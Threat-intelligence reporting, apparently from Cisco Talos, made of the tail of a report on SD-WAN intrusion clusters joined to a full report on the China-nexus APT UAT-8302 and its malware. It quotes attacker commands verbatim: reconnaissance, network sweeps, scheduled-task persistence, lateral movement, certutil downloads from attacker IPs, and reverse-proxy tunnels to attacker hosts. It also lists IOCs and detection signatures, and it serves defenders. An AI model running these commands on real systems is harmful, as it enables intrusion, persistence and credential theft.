• 38.60.214[.]92
• 65.20.67[.]134
• 104.233.156[.]1
• 194.233.100[.]40

Cluster 5

Talos observed the deployment, beginning March 13, 2026, of a malware agent compiled off the publicly available AdaptixC2 red team framework. The filename was “systemd-resolved” and the agent’s command and control (C2) is “194[.]163[.]175[.]135:4445”.

The authors have changed the default TCP banner for the sample from “AdapticC2 server” to “shadowcore”. Hosted on Contabo GmbH, this is likely a VPS. As of March 28, 2026, this C2 IP, “194[.]163[.]175[.]135” hosted:

• A Mythic C2 server on port 7443, along with a Mythic C2 server certificate with serial number: fece5b954e69b2c6a8d0a1029631a0d7
• Another AdaptixC2 server on port 31337
• An open SSH service on port 22, likely for administration of server

Cluster 6

In another cluster of activity, since at least March 5, 2026, Sliver, an open-source adversarial emulation framework (aka red-teaming implant), was deployed with the filename “CWan”. The Sliver sample’s C2 is “mtls://23.27.143[.]170:443”.

Cluster 7

In this cluster of activity, since at least March 25, 2026, an XMRig sample and its accompanying configuration file were downloaded and deployed via a shell script from the remote location “83.229.126[.]195”.

This IP, residing in Hong Kong, is also a known C2 server for Cobalt Strike.

Cluster 8

Activity observed in Cluster 8 began as early as March 10, 2026. This cluster consisted of a few key malicious tools. The first tool is KScan, an asset mapping tool, that can port scan, TCP fingerprint, capture banners for specified assets, and obtain as much port information as possible without sending more packets. It can perform automatic brute-force cracking and brute-force RDP. The tool’s filename and Go packages have been renamed to “QScan” by the authors, but it is essentially the same implementation as the open-source GitHub version.

The second tool, named “agent1”, is a Nim-based implant. It is most likely based on the open-source tools, Nimplant, but is further modified to include:

• Additional commands/capabilities, such as cd to directories; cat files; download and upload files; execute files using bash; and collect system information such as username, hostname, hwid, process listings, etc.
• C2 endpoints for communication, registration/check-ins, obtain tasks, provide results, and more:
  • /api/v1/handshake
  • /api/v1/results
  • /api/v1/payloads
  • /api/v1/exfiltrate
  • /api/v1/tasks
  • /api/v1/init
• An RSA public key to be used by the agent to communicate with the C2 hosted on “hxxp://13[.]62[.]52[.]206:5004”.

This tool was downloaded and executed post-compromise from the remote location “replit[.]dev”:

The attackers executed this command on the compromised system while connected from the source IP “79[.]135[.]105[.]208”. This is likely a ProtonVPN node.

Replit is an AI platform that facilitates building applications using AI. It is therefore likely that the backdoor was created with the help of AI to resemble Nimplant’s functionality with the additional capabilities and deviations listed above.

Cluster 9

In this cluster, since at least March 17, 2026, Talos observed the deployment of an XMRig miner and a peer-based proxying and tunneling tool.

This tool, gsocket, is a peer-based proxying and tunneling tool that allows peers to connect to each other within the Global Socket Relay Network (GSRN). GSRN allows peers to connect to each other using node IDs, which are unique 16-byte identifiers for nodes with the network.

This sample obtains the peer or C2 node to connect to by reading and Base58 decoding the accompanying “defunct[.]dat” file. The C2 peer ID is:

78 c4 a2 37 56 27 7b b7 de 20 06 76 34 d2 63 c9  

The tool is activated by placing a malicious command in the .profile file:

This decodes to:

XMRig Miner

Accompanying gsocket was a Monero miner and its scripts and configuration files. The miner is also activated via the user profile (.profile):

/tmp/moneroocean/miner.sh --config=/tmp/moneroocean/config_background.json >/dev/null 2>&1

The “miner.sh” will find all processes named XMRig, kill them, and then start its own copy of XMRig:

Cluster 10

This cluster of activity, since at least Mar 13, 2026, consisted of a credential stealer deployed along with accompanying scripts. The main script, named “loot_run.sh”, attempted to obtain:

• The admin user’s hashdump
• JSON Web Tokens (JWT) key chunks that are used for REST API authentication
• AWS credentials for vManage: AccesKeyId, SecretAccessKey and Token

Two other helper scripts were also deployed in this cluster to check if the current user could escalate to root. The scripts contained a hardcoded password and used it to execute the command su root –c id. The output is checked for the string “uid=0(root)” to verify successful escalation.

Recommendations and detection guidance

Customers are strongly advised to follow the guidance and recommendations published in Cisco's Security Advisory on CVE-2026-20182. Customer support is also available by initiating a TAC request. Talos strongly recommends that customers and partners using Cisco Catalyst SD-WAN technology follow the steps outlined in this advisory to help protect their environments. We also recommend referring to Rapid7’s disclosure on CVE-2026-20182 for additional details.

Snorts SIDs for CVE-2026-20182 are: 66482 - 66483

Please refer to the official Cisco Security Advisory on CVE-2026-20133, CVE-2026-20122, and CVE-202128 for the latest information regarding affected products, Indicators Of Compromise (IOCs), and mitigation steps.

Snort SIDs for CVE-2026-20133: 66468 - 66469

Snort SIDs for CVE-2026-20122: 66461 - 66462

Snort SIDs for CVE-2026-20128: 66468 - 66469

Snort SIDs for the threats detailed in Clusters #1 through 10 are:

• Snort2: 66200, 66201, 66202
• Snort3: 301461, 301462, 66252

ClamAV signatures for the malicious tooling associated with these clusters:

• Unix.Tool.QScanCrack-10059958
• Unix.Backdoor.NimPlant-10059957
• Unix.Tool.GSocket-10059956
• Unix.Backdoor.JSPZapLoot-10059955
• Unix.Backdoor.GopherRAT-10059941
• Unix.Backdoor.JSPZap-10059944
• Unix.Backdoor.JSPZapExcEnc-10059945
• Unix.Backdoor.GopherRAT-10059941

IOCs

IOCs for the Clusters detailed above are also available in our GitHub repository here.

Cluster 1

• 38.181.52[.]89
• 89.125.244[.]33
• 89.125.244[.]51

Cluster 2

• 71.80.85[.]135 

Cluster 3

• 212.83.162[.]37

Cluster 4

• 38.60.214[.]92
• 65.20.67[.]134
• 104.233.156[.]1
• 194.233.100[.]40

Cluster 5 - AdaptixC2

• f6f8e0d790645395188fc521039385b7c4f42fa8b426fd035f489f6cda9b5da1

Cluster 5 - AdaptixC2 C2 server

• 194[.]163[.]175[.]135:4445

Cluster 5 - AdaptixC2 C2 IP

• 194[.]163[.]175[.]135

Cluster 6 - Sliver

• 02654acfb21f83485393ba8b14bd8862b919b9ec966fc6768f6aac1338a45ee8

Cluster 6 - Sliver C2 over mTLS

• mtls[://]23.27.143[.]170:443

Cluster 6 - Sliver C2 IP

• 23.27.143[.]170

Cluster 7 - XMRig downloader script

• 0ed72d52347bfe4a78afff8a6982a64050c8fc86d8957a20eeb3e0f3f5342ed0

Cluster 7 - XMRig sample

• 96fc528ca5e7d1c2b3add5e31b8797cb126f704976c8fbeaecdbf0aa4309ad46

Cluster 7 - XMRig configuration

• 7aa88a64a527ade7d93c20faf23b54f2ee33ad9b1246cdc2f8ded2ab639affb1

Cluster 7 - XMRig remote location IP

• 83[.]229[.]126[.]195

Cluster 7 - XMRig remote URL

• hxxp://83[.]229[.]126[.]195:8081/xmrig

Cluster 7 - XMRig configuration file remote location

• hxxp://83[.]229[.]126[.]195:8081/config[.]json

Cluster 8 - Nim-based backdoor

• 0c87871642f84e09e8d3fb23ec36bf55601323e31151a7017a85dbec929cf15d

Cluster 8 - Download URL for the Nim-based backdoor

• hxxps://1a820b09-95ba-44eb-b350-417e8241b725-00-1lgwuuen9b77p[.]worf[.]replit.dev/download

Cluster 8 - Attacker controlled sub-domain hosting the Nim-based backdoor

• a820b09-95ba-44eb-b350-417e8241b725-00-1lgwuuen9b77p[.]worf[.]replit.dev

Cluster 8 - Attacker IP that downloaded the Nim-based backdoor

• 79[.]135[.]105[.]208

Cluster 8 - C2 for Nim-based backdoor

• hxxp://13[.]62[.]52[.]206:5004 

Cluster 8 - C2 IP for Nim-based backdoor

• 13[.]62[.]52[.]206

Cluster 8 - KScan – scanning tool

• 18d77c9c5bbb5b9d5bdfd366fdfcf26bad9e64c63ca865fad711bcce8e3d5a80

Cluster 8 - IP related to Nim-based backdoor and KScan

• 176[.]65[.]139[.]31

Cluster 9 - gsocket

• d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa

Cluster 9 - gsocket secret file

• 5bc5998161056b7c8f70c9724d8a63abc7ff8c3843b91c30cffab0899e39b7f8

Cluster 9 - IP related to Miner activity

• 47[.]104[.]248[.]7

Cluster 10 - VManage credential extractor script

• b0f51b098842cd630097b462aab0ec357e2c7824af37cca6d08165265da2c2d3

Cluster 10 - Check for root escalation

• 72f570ce97de3eaaffef33d90b0c337a153fc9690cc34ee207b557d868360060
• 17302d903baf182f94dc3be40ab1e0874dd0eb2ec5255bf9131fd53591efe925

• Cisco Talos is disclosing UAT-8302, a sophisticated, China-nexus advanced persistent threat (APT) group targeting government entities in South America since at least late 2024 and government agencies in southeastern Europe in 2025.
• After successful compromises, UAT-8302 deploys multiple custom-made malware families that have previously been used by other known China-nexus threat actors.
• Talos discovered a .NET-based backdoor we track as “NetDraft” that is a C#-based variant of the FinalDraft/SquidDoor malware family developed and operated by Jewelbug/REF7707/CL-STA-0049/LongNosedGoblin, a cluster of China-nexus APT actors.
• Furthermore, UAT-8302 also uses an updated version of the CloudSorcerer backdoor, a malware family used in attacks against Russian government entities in 2024.
• UAT-8302 also used VSHELL and its SNOWLIGHT stager in their operations, along with a new Rust-based stager that we track as SNOWRUST.

Talos assesses with high confidence that UAT-8302 is a China-nexus advanced persistent threat (APT) group tasked primarily with obtaining and maintaining long-term access to government and related entities around the world.

Post-compromise activity consisted of information collection, credential extraction, and proliferation using open-source tooling such as Impacket, proxying tools, and custom-built malware.

Malware deployed by UAT-8302 connects it to several previously publicly disclosed threat clusters, indicating a close operating relationship between them at the very least. Overall, the various malicious artifacts deployed by UAT-8302 indicate that the group has access to tools used by other sophisticated APT actors, all of which have been assessed as China-nexus or Chinese-speaking by various third-party industry reports.

For instance, NetDraft, a .NET-based malware family deployed by UAT-8302 in South America, was also disclosed by ESET as NosyDoor, attributed to a China-nexus APT they track as LongNosedGoblin. ESET assesses that LongNosedGoblin used NosyDoor/NetDraft and other custom-made malware to target government organizations in Southeast Asia and Japan. Furthermore, as per Solar’s reporting, NetDraft was also deployed against Russian IT organizations in 2024 by Erudite Mogwai (LuckyStrike Agent).

NetDraft is likely a .NET-ported variant of the FinalDraft/SquidDoor malware family developed and operated exclusively by Jewelbug/REF7707/CL-STA-0049 — also another cluster of China-nexus APT actors.

Another malware family deployed by UAT-8302 is CloudSorcerer (version 3). Kaspersky disclosed that CloudSorcerer was used in attacks directed against Russian government entities in 2024.

Furthermore, two other malware families, SNAPPYBEE/DeedRAT and ZingDoor, were deployed by UAT-8302 in conjunction with each other, a tactic also highlighted by Trend Micro in 2024.

Talos’ analysis also connects more custom-made tooling that UAT-8302 used to other China-nexus or Chinese-speaking APTs:

• Draculoader: A generic shellcode loader deployed by UAT-8302, also used by the Earth Estries and Earth Naga APT groups who have histories of targeting government agencies in Southeast Asia and elsewhere.
• SNOWLIGHT: A generic stager for the VSHELL malware family, used by UAT-8302. Also used by UAT-6382, who exploited a Cityworks zero-day (CVE-2025-0994) to deploy VSHELL. SNOWLIGHT has also been seen in intrusions attributed to other China-nexus APT clusters, such as UNC5174 and UNC6586.

The various connections between UAT-8302 and other China-nexus or Chinese-speaking threat actors can be visualized as:

Figure 1. UAT-8302's interconnections.

Initial compromise and reconnaissance

UAT-8302's tooling overlaps with various APT groups that have been known to exploit both zero-day and n-day exploits to obtain initial access. We assess that UAT-8302 follows the same paradigm of obtaining initial access to its victims.

Once initial access is obtained, UAT-8302 conducts preliminary reconnaissance using red-teaming tools such as Impacket:

Other reconnaissance commands may be:

ipconfig /all
certutil -user -store My
certutil -user -store CA
certutil -user -store Root
whoami
nslookup www[.]google[.]com
net use
cmd.exe /c net view /domain
cmd.exe /c systeminfo
cmd.exe /c net time /domain
cmd.exe /c nslookup -type=SRV _ldap._tcp
net group <name> /domain

 One of UAT-8302's primary goals is to proliferate within the compromised network, and therefore, the actor conducts extensive reconnaissance on every endpoint that they can access. This extended recon is scripted usually using a custom-made PowerShell script such as “whatpc.ps1”:

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Windows\Temp\whatpc.ps1

The script may be persisted to collect system information via a scheduled task:

cmd.exe /c schtasks /create /tn 'ReconLiteDebug' /tr 'powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File c:\windows\temp\whatpc.ps1' /sc ONCE /st 08:25 /ru SYSTEM /f

cmd.exe /c schtasks /create /tn 'RunWhatPC' /tr 'c:\windows\temp\run.bat' /sc ONCE /st 23:28 /ru SYSTEM /f

This script executes the following commands on the systems to identify them:

whoami 
whoami.exe /groups
whoami.exe /priv
net.exe user
net.exe localgroup
net.exe localgroup administrators
ipconfig.exe /all
ARP.EXE -a
ROUTE.EXE print
NETSTAT.EXE -ano
cmd.exe /c net share
cmd.exe /c wmic startup get caption,command 2>&1
nltest.exe /dclist:<domain>
net.exe user /domain
net.exe group /domain
net.exe group Domain Admins /domain
nltest.exe /domain_trusts

UAT-8302 also performs ping sweeps of the network to discover more endpoints to proliferate into:

C:/Windows/Temp/ping_scan.bat
C:/Windows/Temp/run_scan.bat
C:/Windows/Temp/nbtscan.exe

cmd.exe /Q /c (for /l %i in (1,1,254) do @ping -n 1 -w 300 192.168.1.%i | find TTL= && echo 192.168.1.%i is alive) > C:\Windows\Temp\alive_hosts.txt

UAT-8302 also discovers SMB shares in the network to find reachable remote shares:

cmd.exe /Q /c (for /l %i in (1,1,254) do @net use \\192.168.1.%i\IPC$ >nul 2>&1 && echo 192.168.1.%i - Port 445 is open || echo 192.168.1.%i - Port 445 is closed) > C:\Windows\Temp\portscan.txt

Scanning tools

UAT-8302 may also download and run “gogo,” a GoLang based, open-sourced automated network scanning engine written in Simplified Chinese:

curl -fsSL hxxps://github[.]com/chainreactors/gogo/releases/download/v2.14.0/gogo_windows_amd64.exe -o go.exe

Additionally, UAT-8302 uses a variety of scanning tools such as QScan, naabu and dddd  PortQry and httpx to discover services in the network:

httpx.exe -sc -title -location -f -td -r 192.168.1.1/16
httpx.exe -sc -title -location -td -r 192.168.1.1/16 -o web.txt
httpx.exe -sc -title -location -td -u 192.168.1.1/16 -o web.txt

Information collection

UAT-8302 collects a variety of information about the environment that they are operating within including Active Directory (AD) information and credentials using open-sourced tooling such as:

adconnectdump.py

A Python-based tool for Azure AD Connect/Entra ID connect credential extraction:

python.exe adconnectdump.py

Manual extraction

UAT-8302 may also directly query the AD user and computer objects to obtain information from them via PowerShell:

powershell -command Get-ADUser -Filter * -Property * | Select-Object Name, Displayname, LastLogonDate, PasswordLastSet, PasswordExpired, Description, EmailAddress, homeDirectory, scriptPath

powershell -command Get-ADUser -Filter * -Property * | Select-Object SamAccountName, DisplayName, Enabled, LastLogonDate, PasswordLastSet, PasswordExpired, Description, EmailAddress, HomeDirectory, ScriptPath, @{Name='Groups';Expression={((Get-ADUser $.SamAccountName -Properties MemberOf).MemberOf | ForEach-Object { ($ -split ',')[0] -replace '^CN=' }) -join '; '}}

powershell -Command Get-ADComputer -Filter * -Property Name,DNSHostName,OperatingSystem,Description | Select-Object Name, DNSHostName, OperatingSystem, Description | Format-Table -AutoSize
powershell -Command Get-ADGroup -Filter * -Properties Members, Description | Select-Object Name, Description, @{Name='Members';Expression={ ($.Members | ForEach-Object { ($ -split ',')[0] -replace '^CN=' }) -join '; ' }}| Format-Table -AutoSize

Specific AD users of interest may also be queried using system tools such as dsmod and dsquery.

Log collection

UAT-8302 also collects event log information and the logs themselves on multiple endpoints. Logs are an excellent source of obtaining information and understanding security configurations and policies applied within a target’s environment:

powershell -Command Get-WinEvent -ListLog Security | Format-List LogName, FileSize, LogMode, MaximumSizeInBytes, RecordCount

powershell -command Get-EventLog -LogName System -Source NETLOGON -Newest 5000 | Where-Object { $_.Message -match "Administrator" }

powershell -Command chcp 437 >$null; Get-WinEvent -FilterHashtable @{ LogName = 'Security'; ID = 4768 } | Where-Object { \$_.Message -match 'Administrador' }

Audit policies are also queried extensively to obtain system logging configurations:

auditpol /get /category:Logon/Logoff

auditpol /get /category:*

UAT-8302 also collects AD snapshots using tools such as the AD Explorer tool:

ae.exe -snapshot c:\windows\temp\result.dat /accepteula

cmd.exe /C 7zr.exe a -mx=5 c:\windows\temp\r.7z c:\windows\temp\result.dat

UAT-8302 also uses a tool written in Simplified Chinese called “SharpGetUserLoginIPRP” — derived from another Chinese-language repository — which is used to extract login information from a domain controller:

C:\ProgramData\S.exe user:pass@IP -day

Proliferation through the network

UAT-8302 proliferates across various endpoints by using a combination of either Impacket- or WMI-based remote process creation:

cmd.exe /C wmic /node:IP process call create cmd.exe /c c:\programdata\e1.bat

cmd.exe /C schtasks /S IP /U username /P passwd /create /tn 'Runbat' /tr 'c:\windows\temp\run.bat' /sc ONCE /st 5:12 /ru SYSTEM /f

These BAT files are meant to execute the accompanying malware on the target systems.

Furthermore, UAT-8302 may also extract login credentials from MobaxXterm, a multi-functional and tabbed SSH client, using tools such as MobaXtermDecryptor to pivot to other endpoints.

Custom-made malware deployment

UAT-8302 deploys a variety of malware families in their intrusions including NetDraft, CloudSorcerer version 3, and VSHELL.

NetDraft

NetDraft, also known as  NosyDoor, is a .NET variant of the FINALDRAFT malware. FINALDRAFT or Squidoor is a malware family developed and operated exclusively by Jewelbug/REF7707/CL-STA-0049, a cluster of China-nexus APT actors. FINALDRAFT uses legitimate services such as MS Graph to act as command-and-control servers (C2s) to execute commands and payloads on the compromised system. Similarly, NetDraft relies on the MS Graph API to communicate with its OneDrive based C2. NetDraft is deployed using the following mechanism:

• A benign executable is used to side load a malicious dynamic-link library (DLL) based loader.
• The loader DLL decodes NetDraft from an accompanying data file and invokes it in the context of the existing process.
• NetDraft also contains an embedded, .NET-based helper library. The library is compressed and embedded using the Fody/Costura framework. During runtime, the library is decompressed and instrumented to carry out operations on the endpoint on behalf of NetDraft. We track this library as “FringePorch.”

Figure 2. NetDraft and FringePorch infection chain.

NetDraft and FringePorch support the following functionalities:

• Execute arbitrary commands on the endpoint
• Execute a .NET based assembly sent by the C2 within NetDraft’s process context
• Exit and stop execution
• Upload files to C2
• Download files from specified remote locations to local disks
• File management: Change current working directory, rename files, enumerate files, and set write times
• Sleep
• Execute a .NET plugin: This functionality is similar to its ability to run arbitrary .NET based assemblies. Here, the implant runs a provided plugin’s “Plugin.Run” function.

Since NetDraft is missing the capability to persist across reboots and relogins, one of the first commands the C2 issues to it is the creation of a malicious scheduled task:

schtasks /create /ru system /tn Microsoft\Windows\Maps\{a086ff1e-d6dc-45f7-b3e4-6udknw82sa} /sc hourly /mo 2 /tr 'C:\ProgramData\Microsoft\Microsoft\Appunion.exe' /F

CloudSorcerer v3

Another malware UAT-8302 deploys is the latest version of the CloudSorcerer backdoor (version 3).  The malware consists of the side-loading triad of files: a benign executable, a malicious DLL-based loader, and the actual implant in a data file:

Yandex.exe -r -p:test.ini -s:12

VMtools.exe -r -p:VM.ini -s:12

The executables will sideload a DLL named “mspdb60[.]dll”, which will load and decrypt the “.ini” file specified in the command line — such as “test.ini” or “vm.ini”. The decrypted shellcode is then injected into a combination of specified benign processes.

CloudSorcerer v3 – The decrypted shellcode

The decrypted INI file is a newer version of CloudSorcerer (v3) disclosed by Kaspersky in 2024. Depending on process name (where it may have been initiated or injected), CloudSorcerer v3 will perform one of the following actions:

• If the process is named “dpapimig.exe”, then it will gather system information, inject itself into explorer.exe, and receive command codes from the C2 via a named pipe, gather disk information, enumerate files, execute arbitrary commands, perform file operations (delete, rename, read, write, etc.) and execute shellcode received via the named pipe.
• If the process is named “spoolsv.exe”, then it will contact GitHub to obtain C2 information and receive commands from the C2.
• If the process is named “mspaint.exe”, “browser”, or anything else, it will proceed to inject itself into dpapimg.exe, spoolsv.exe, etc. to kick off its malicious operations.

The system information CloudSorcerer v3 collects includes computer name, username and local system time.

Obtaining C2 information

Like CloudSorcerer v2, version 3 contacts a legitimate service to obtain the C2 information. The malware will either contact a specific GitHub repository to read a data blob, or read a GameSpot profile the threat actors set up.

The data blob is decoded to obtain the C2 information, which can exist in the one of the following formats depending on the variant of the CloudSorcerer backdoor:

• A C2 URL for a domain or IP, controlled by UAT-8302, that the malware uses to begin communication with the C2 to carry out malicious operations
• An access token to a legitimate service (such as OneDrive or Dropbox) that UAT-8302 uses to act as its C2 infrastructure to obtain next-stage payloads and commands

VSHELL, SNOWLIGHT and SNOWRUST

In other instances, UAT-8302 deploys the VSHELL malware via a slightly different triad of artifacts for side-loading malware. The benign executable side-loads a malicious DLL named “wininet[.]dll” that reads a BIN file and injects it into “explorer[.]exe”.

The payload is position-independent shellcode that is injected into explorer[.]exe. The payload is a stager for the VSHELL malware that downloads and single-byte XORs the obtained payload with the key 0x99. The decoded payload is a garbled version of VSHELL.

It is worth noting that Talos observed the same single byte key and stager being used by UAT-6382 to deliver VSHELL malware in early 2025. Further investigation revealed that this stager is in fact SNOWLIGHT, a lightweight downloader that can download and deploy a next stage payload. UNC5174 has been observed using SNOWLIGHT to download Sliver and VSHELL. UNC5174 is a suspected China-nexus threat actor that typically exploits zero-day and n-day vulnerabilities to gain access to critical infrastructure organizations in the Americas.

Talos discovered that UAT-8302 also used a Rust based variant of SNOWLIGHT that we track as “SNOWRUST.” SNOWRUST is based on the LexiCrypt Rust-based shellcode obfuscator. SNOWRUST simply decodes the embedded SNOWLIGHT shellcode and executes it to download the XOR encoded final payload, VSHELL, received from the C2.

In one intrusion, UAT-8302 used VSHELL to deploy a native driver from the Hades HIDS/HIPS software — an open-source Windows host monitoring kernel framework written in Simplified Chinese. The driver was specifically the System Monitoring filter driver that lets Hades register callbacks for process, thread, registry, and file events. This allows the driver to monitor the system and potentially allow, block, or hide events and artifacts.

The SNAPPYBEE/DeedRAT and ZingDoor combo

In one instance, UAT-8302 first deployed a RAT family known as DeedRAT/SNAPPYBEE. However, UAT-8302 almost immediately switched over to a DLL-based malware family known as ZingDoor, first disclosed by Trend Micro in 2023, which has attributed both DeedRAT and ZingDoor to the China-nexus threat actor Earth Estries.

ZingDoor has also been deployed after the successful exploitation of ToolShell in 2025 by China-nexus threat actors.

In parallel, UAT-8302 also deployed Draculoader, a generic shellcode loader, also used by the Earth Estries and Earth Naga APT groups who have histories of targeting government agencies in Southeast Asia and elsewhere:

C:\Documents and Settings\All Users\Microsoft\Crypto\RSA\d3d8.dll

Setting up additional means of backdoor access

Once UAT-8302 deploys their custom-made malware, they begin establishing other means of backdoor access. One of the techniques used is setting up proxy servers on infected systems to tunnel traffic outside the enterprise to the infected hosts using tools such as Stowaway (another tool written in Simplified Chinese):

c:\windows\system32\wagent.exe -c 85[.]209[.]156[.]3:56456
  
cmd.exe /c (echo @echo off && start c:\windows\temp\mmc.exe -l 85[.]209[.]156[.]3:56456 -s <pass> && echo exit) > c:\windows\temp\trun.bat
  
ag531.exe -c 45[.]135[.]135[.]100:443 -s <blah> -f AgreedUponByAllParties

UAT-8302 may use other tools such as anyproxy to set up proxies within the infected enterprise’s network:

c:\users\public\any.exe

Furthermore, we observed UAT-8302 deploying the SoftEther VPN clients as well:

certutil -urlcache -split -f hxxp://38[.]54[.]32[.]244/Rar.exe rar.exe
  
rar.exe x glb.rar
  
Communicator.exe /usermode

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Loader.CloudSorcerer-10059633-0
• Win.Loader.CloudSorcerer-10059634-0
• Win.Malware.CloudSorcerer-10059635-0
• Win.Tool.dddd-10059636-2
• Win.Tool.dddd-10059637-0
• Win.Loader.Donut-10059638-0
• Win.Loader.Draculoader-10059639-0
• Win.Tool.gogo-10059640-0
• Win.Tool.gogo-10059641-0
• Ps1.Tool.Microburst-10059642-0
• Win.Tool.Mobaxtermdecryptor-10059643-0
• Win.Malware.Netdraft-10059644-0
• Win.Malware.Netdraft-10059645-0
• Win.Malware.Netdraft-10059646-0
• Win.Malware.Netdraft-10059647-0
• Win.Malware.Snappybee-10059648-0
• Win.Malware.Snappybee-10059649-0
• Win.Malware.Snappybee-10059650-0
• Win.Malware.Snappybee-10059651-0
• Win.Malware.Snappybee-10059652-0
• Win.Malware.Snappybee-10059653-0
• Win.Malware.Snowrust-10059654-0
• Win.Malware.Agent-10059655-0
• Win.Malware.Stowaway-10059656-0
• Win.Malware.Stowaway-10059657-0
• Win.Loader.Agent-10059658-0
• Win.Malware.Agent-10059659-0
• Win.Malware.Agent-10059660-0
• Win.Loader.Agent-10059661-1
• Win.Malware.Agent-10059662-0

The following Snort Rules (SIDs) detect and block this threat:

• 66055, 66054, 301437, 301436, 301435, 301434, 301433, 301432, 301431
• 66052, 66053, 66050, 66051, 66048, 66049, 66046, 66047, 66044, 66045, 66042, 66043, 66040, 66041

Indicators of compromise (IOCs)

IOCs for this threat are also available on our GitHub repository here.

NetDraft, FringePorch

1139b39d3cc151ddd3d574617cf113608127850197e9695fef0b6d78df82d6ca
Ee56c49f42522637f401d15ac2a2b6f3423bfb2d5d37d071f0172ce9dc688d4b
51f0cf80a56f322892eed3b9f5ecae45f1431323600edbaea5cd1f28b437f6f2

 VSHELL

35b2a5260b21ddb145486771ec2b1e4dc1f5b7f2275309e139e4abc1da0c614b
199bd156c81b2ef4fb259467a20eacaa9d861eeb2002f1570727c2f9ff1d5dab

 ZingDoor

071e662fc5bc0e54bcfd49493467062570d0307dc46f0fb51a68239d281427c6

 Gogo

E74098b17d5d95e0014cf9c7f41f2a4e4be8baefc2b0eb42d39ae05a95b08ea5
2b627f6afe1364a7d0d832ccba87ef33a8a39f30a70a5f395e2a3cb0e2161cb3

 Stowaway

7c593ca40725765a0747cc3100b43a29b88ad1708ef77e915ab02686c0153001
F859a67ceebc52f0770a222b85a5002195089ee442eac4bea761c29be994e2ea

 anyproxy

7d9c70fc36143eb33583c30430dcb40cf9d306067594cc30ffd113063acd6292

  QScan

1bb59491f7289b94ab0130d7065d74d2459a802a7550ebf8cd0828f0a09c4d38

 Draculoader

843f8aea7842126e906cadbad8d81fa456c184fb5372c6946978a4fe115edb1c

 Dddd

343105919aa6df8a75ecb8b06b74f23a7d3e221fca56c67b728c50ea141314bc

 Httpx

4109f15056414f25140c7027092953264944664480dd53f086acb8e07d9fccab

 SoftEther VPN

3dec6703b2cbc6157eb67e80061d27f9190c8301c9dd60eb0be1e8b096482d7e

 SharpGetUserLogin

9f115e9b32111e4dc29343a2671ab10a2b38448657b24107766dc14ce528fceb
B19bfca2fc3fdabf0d0551c2e66be895e49f92aedac56654b1b0f51ec66e7404

 Naabu

45cd169bf9cd7298d972425ad0d4e98512f29de4560a155101ab7427e4f4123f

 PortQry

Fb6cebadd49d202c8c7b5cdd641bd16aac8258429e8face365a94bd32e253b00

Network IOCs

hxxps[://]www[.]drivelivelime[.]com
hxxps[://]www[.]drivelivelime[.]com/x
hxxps[://]www[.]drivelivelime[.]com/pw
www[.]drivelivelime[.]com
 
hxxps[://]msiidentity[.]com
hxxps[://]msiidentity[.]com/pw
msiidentity[.]com
 
hxxp[://]trafficmanagerupdate[.]com/index[.]php
trafficmanagerupdate[.]com
 
image[.]update-kaspersky[.]workers[.]dev
update-kaspersky[.]workers[.]dev
 
85[.]209[.]156[.]3
85[.]209[.]156[.]3:56456
85[.]209[.]156[.]3:46389
hxxp[://]85[.]209[.]156[.]3:8080/wagent[.]exe
hxxp[://]85[.]209[.]156[.]3:8082/wagent[.]exe
 
 
185[.]238[.]189[.]41
hxxp[://]185[.]238[.]189[.]41:8080          
 
103[.]27[.]108[.]55
hxxp[://]103[.]27[.]108[.]55:48265/
 
hxxp[://]38[.]54[.]32[.]244/Rar[.]exe
38[.]54[.]32[.]244
 
45[.]140[.]168[.]62
88[.]151[.]195[.]133
156[.]238[.]224[.]82
45[.]135[.]135[.]100